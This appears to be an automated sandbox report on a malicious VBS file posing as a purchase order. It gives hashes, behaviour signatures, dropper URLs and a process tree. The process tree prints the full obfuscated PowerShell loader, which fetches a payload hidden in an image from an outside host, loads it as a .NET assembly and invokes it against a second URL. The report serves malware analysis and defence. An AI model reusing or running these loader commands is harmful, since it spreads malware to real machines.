e7a157ba1819d7af9a5f66aa9e161cce68d20792d117a90332ff797cbbd8aaa5

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
03/08/2023, 15:44

Sharing

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General

Target
GREENN VALLEY PO REVISED NO363846348.vbs
Size 137KB
Sample230803-s6gncaea33
SHA256 e7a157ba1819d7af9a5f66aa9e161cce68d20792d117a90332ff797cbbd8aaa5
MD5 e2a4a40fe8c8823ed5a73cdc9a8fa9b9
SHA1 4194d0f9929a6fb5f43bf45d009e3fe4e3adb574
SHA512 91b23f9e24f877d87a21f1e913180ad70ddba2a5906c0827f8b868c65bff1884dc54c2658a4a75f476a54e7154c58b623ed35afb6a69bc5589683c1a1a65b47a
SSDEEP 3072:4s3BZiZdZA1R+fctQz2gDgfgoohjmvmlmZmzmWmXm3mFmGQjr+gMQ:TBZiZdZA1R+fctQXmvmlmZmzmWmXm3mk
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129
exe.dropper
https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2836	powershell.exe
5	2836	powershell.exe
7	2836	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1200	powershell.exe
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 1200	2220	WScript.exe	28
PID 2220 wrote to memory of 1200	2220	WScript.exe	28
PID 2220 wrote to memory of 1200	2220	WScript.exe	28
PID 1200 wrote to memory of 2836	1200	powershell.exe	30
PID 1200 wrote to memory of 2836	1200	powershell.exe	30
PID 1200 wrote to memory of 2836	1200	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GREENN VALLEY PO REVISED NO363846348.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DU#@$#OQ#@$#v#@$#DU#@$#MQ#@$#w#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#cgB1#@$#G0#@$#c#@$#Bf#@$#H#@$##@$#cgBp#@$#HY#@$#YQB0#@$#GU#@$#LgBq#@$#H#@$##@$#Zw#@$#/#@$#DE#@$#Ng#@$#5#@$#D#@$##@$#NQ#@$#w#@$#DQ#@$#MQ#@$#y#@$#Dk#@$#Jw#@$#7#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#I#@$##@$#9#@$#C#@$##@$#TgBl#@$#Hc#@$#LQBP#@$#GI#@$#agBl#@$#GM#@$#d#@$##@$#g#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#TgBl#@$#HQ#@$#LgBX#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#7#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$##@$#k#@$#Hc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#C4#@$#R#@$#Bv#@$#Hc#@$#bgBs#@$#G8#@$#YQBk#@$#EQ#@$#YQB0#@$#GE#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBV#@$#HI#@$#b#@$##@$#p#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#EU#@$#bgBj#@$#G8#@$#Z#@$#Bp#@$#G4#@$#ZwBd#@$#Do#@$#OgBV#@$#FQ#@$#Rg#@$#4#@$#C4#@$#RwBl#@$#HQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBC#@$#Hk#@$#d#@$#Bl#@$#HM#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBT#@$#FQ#@$#QQBS#@$#FQ#@$#Pg#@$#+#@$#Cc#@$#Ow#@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBF#@$#E4#@$#R#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C4#@$#SQBu#@$#GQ#@$#ZQB4#@$#E8#@$#Zg#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bl#@$#G4#@$#Z#@$#BG#@$#Gw#@$#YQBn#@$#Ck#@$#Ow#@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#ZQ#@$#g#@$#D#@$##@$#I#@$##@$#t#@$#GE#@$#bgBk#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#d#@$##@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#Cs#@$#PQ#@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#LgBM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#7#@$#CQ#@$#YgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#T#@$#Bl#@$#G4#@$#ZwB0#@$#Gg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBT#@$#HU#@$#YgBz#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#s#@$#C#@$##@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#p#@$#Ds#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#QwBv#@$#G4#@$#dgBl#@$#HI#@$#d#@$#Bd#@$#Do#@$#OgBG#@$#HI#@$#bwBt#@$#EI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#FM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#Ck#@$#Ow#@$#k#@$#Gw#@$#bwBh#@$#GQ#@$#ZQBk#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQ#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#UgBl#@$#GY#@$#b#@$#Bl#@$#GM#@$#d#@$#Bp#@$#G8#@$#bg#@$#u#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQBd#@$#Do#@$#OgBM#@$#G8#@$#YQBk#@$#Cg#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C4#@$#RwBl#@$#HQ#@$#V#@$#B5#@$#H#@$##@$#ZQ#@$#o#@$#Cc#@$#RgBp#@$#GI#@$#ZQBy#@$#C4#@$#S#@$#Bv#@$#G0#@$#ZQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#d#@$#B5#@$#H#@$##@$#ZQ#@$#u#@$#Ec#@$#ZQB0#@$#E0#@$#ZQB0#@$#Gg#@$#bwBk#@$#Cg#@$#JwBW#@$#EE#@$#SQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#C#@$##@$#PQ#@$#g#@$#Cw#@$#K#@$##@$#n#@$#HQ#@$#e#@$#B0#@$#C4#@$#N#@$##@$#2#@$#GU#@$#egBh#@$#GI#@$#dwBl#@$#G4#@$#cgB0#@$#HM#@$#YQBj#@$#C8#@$#N#@$##@$#y#@$#C4#@$#M#@$##@$#y#@$#DE#@$#Lg#@$#4#@$#Dc#@$#MQ#@$#u#@$#DU#@$#OQ#@$#x#@$#C8#@$#Lw#@$#6#@$#H#@$##@$#d#@$#B0#@$#Gg#@$#Jw#@$#p#@$#Ds#@$#J#@$#Bt#@$#GU#@$#d#@$#Bo#@$#G8#@$#Z#@$##@$#u#@$#Ek#@$#bgB2#@$#G8#@$#awBl#@$#Cg#@$#J#@$#Bu#@$#HU#@$#b#@$#Bs#@$#Cw#@$#I#@$##@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#Ck#@$#';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46ezabwenrtsac/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Cab9EE0.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab9EE0.tmp
Size 62KB
SHA256 d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904
MD5 3ac860860707baaf32469fa7cc7c0192
SHA1 c33c2acdaba0e6fa41fd2f00f186804722477639
SHA512 d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c
SSDEEP 1536:MRxM2u+06GOIVUvVmMKAfUfsrPa1jfCu18ZNMe3v:KMH+F3IacMZ2CPACu1GN7v
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar9F50.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar9F50.tmp
Size 164KB
SHA256 c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6
MD5 4ff65ad929cd9a367680e0e5b1c08166
SHA1 c0af0d4396bd1f15c45f39d3b849ba444233b3a2
SHA512 f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27
SSDEEP 1536:FUdJXlCUs0Rv0/29TFrJW5ibN/5YJkKCdru2hRIwjYvjCQ9vbmt6t0:FIJXq0Rn5JaJkHru2h2jCEvt2
MD5 SHA1 SHA512 SSDEEP

Submit Download

0327NEB89944N6ERFK5M.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0327NEB89944N6ERFK5M.temp
Size 7KB
SHA256 4a5d53549d87a013944d9e4b07539853dfc0d81270b3d2caf0e425f8711adaab
MD5 e347c994c20b31028d012b64201c9ffe
SHA1 f9b0b30aa99c25617416d12958e1c223d3d8455b
SHA512 6268a1c1bb38dbba239bdc3b82f5da8169ca3203e3b73bd2ac52bc7b359589f2968fe5abc2c92283847c20de8d7e9cccf6091e791a87cede9434b57953e0af00
SSDEEP 96:MZndICoM8BnqvsqvJCwovHZndICoM8BnqvsEHyqvJCworhQJJ6QH69p7G3XlUVlw:cdo9Uoxdo9AHnorWu5p7G35
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 4a5d53549d87a013944d9e4b07539853dfc0d81270b3d2caf0e425f8711adaab
MD5 e347c994c20b31028d012b64201c9ffe
SHA1 f9b0b30aa99c25617416d12958e1c223d3d8455b
SHA512 6268a1c1bb38dbba239bdc3b82f5da8169ca3203e3b73bd2ac52bc7b359589f2968fe5abc2c92283847c20de8d7e9cccf6091e791a87cede9434b57953e0af00
SSDEEP 96:MZndICoM8BnqvsqvJCwovHZndICoM8BnqvsEHyqvJCworhQJJ6QH69p7G3XlUVlw:cdo9Uoxdo9AHnorWu5p7G35
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1200-64-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Download

memory/1200-128-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/1200-63-0x0000000002A30000-0x0000000002AB0000-memory.dmp

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memory/1200-62-0x0000000002A30000-0x0000000002AB0000-memory.dmp

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memory/1200-61-0x0000000002A30000-0x0000000002AB0000-memory.dmp

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memory/1200-60-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/1200-160-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/1200-158-0x0000000002A30000-0x0000000002AB0000-memory.dmp

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memory/1200-57-0x000000001B290000-0x000000001B572000-memory.dmp

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memory/1200-58-0x0000000002420000-0x0000000002428000-memory.dmp

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memory/1200-59-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/2836-74-0x00000000025E0000-0x0000000002660000-memory.dmp

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memory/2836-73-0x00000000025E0000-0x0000000002660000-memory.dmp

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memory/2836-72-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/2836-157-0x000000001D200000-0x000000001D466000-memory.dmp

Download

memory/2836-159-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/2836-71-0x00000000025E0000-0x0000000002660000-memory.dmp

Download

memory/2836-70-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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